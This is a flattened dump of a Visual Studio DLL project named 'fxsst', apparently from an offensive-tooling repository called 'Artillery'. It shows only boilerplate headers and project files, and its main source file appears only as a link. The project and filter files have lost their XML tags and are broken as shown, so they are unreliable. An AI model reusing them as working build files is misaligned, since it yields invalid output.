-------------------------------------------------------------------------------- /fxsst/framework.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers 4 | // Windows Header Files 5 | #include 6 | -------------------------------------------------------------------------------- /fxsst/fxsst.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ASkyeye/Artillery/0db513e924c41dae42a3ade222528e6408566eec/fxsst/fxsst.cpp -------------------------------------------------------------------------------- /fxsst/fxsst.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {9b0d1cc6-734a-4208-9384-cb32c27b46c2} 25 | fxsst 26 | 10.0 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | DynamicLibrary 37 | false 38 | v143 39 | true 40 | Unicode 41 | Static 42 | 43 | 44 | DynamicLibrary 45 | true 46 | v143 47 | Unicode 48 | 49 | 50 | DynamicLibrary 51 | false 52 | v143 53 | true 54 | Unicode 55 | Static 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | Level3 78 | true 79 | WIN32;_DEBUG;FXSST_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 80 | true 81 | Use 82 | pch.h 83 | 84 | 85 | Windows 86 | true 87 | false 88 | 89 | 90 | 91 | 92 | Level3 93 | true 94 | true 95 | true 96 | WIN32;NDEBUG;FXSST_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 97 | true 98 | Use 99 | pch.h 100 | 101 | 102 | Windows 103 | true 104 | true 105 | true 106 | false 107 | 108 | 109 | 110 | 111 | Level3 112 | true 113 | _DEBUG;FXSST_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 114 | true 115 | Use 116 | pch.h 117 | 118 | 119 | Windows 120 | true 121 | false 122 | 123 | 124 | 125 | 126 | Level3 127 | true 128 | true 129 | true 130 | NDEBUG;FXSST_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 131 | true 132 | Use 133 | pch.h 134 | 135 | 136 | Windows 137 | true 138 | true 139 | true 140 | false 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | Create 151 | Create 152 | Create 153 | Create 154 | 155 | 156 | 157 | 158 | 159 | -------------------------------------------------------------------------------- /fxsst/fxsst.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | 26 | 27 | Source Files 28 | 29 | 30 | Source Files 31 | 32 | 33 | -------------------------------------------------------------------------------- /fxsst/pch.cpp: -------------------------------------------------------------------------------- 1 | // pch.cpp: source file corresponding to the pre-compiled header 2 | 3 | #include "pch.h" 4 | 5 | // When you are using pre-compiled headers, this source file is necessary for compilation to succeed. 6 | -------------------------------------------------------------------------------- /fxsst/pch.h: -------------------------------------------------------------------------------- 1 | // pch.h: This is a precompiled header file. 2 | // Files listed below are compiled only once, improving build performance for future builds. 3 | // This also affects IntelliSense performance, including code completion and many code browsing features. 4 | // However, files listed here are ALL re-compiled if any one of them is updated between builds. 5 | // Do not add files here that you will be updating frequently as this negates the performance advantage. 6 | 7 | #ifndef PCH_H 8 | #define PCH_H 9 | 10 | // add headers that you want to pre-compile here 11 | #include "framework.h" 12 | 13 | #endif //PCH_H 14 | --------------------------------------------------------------------------------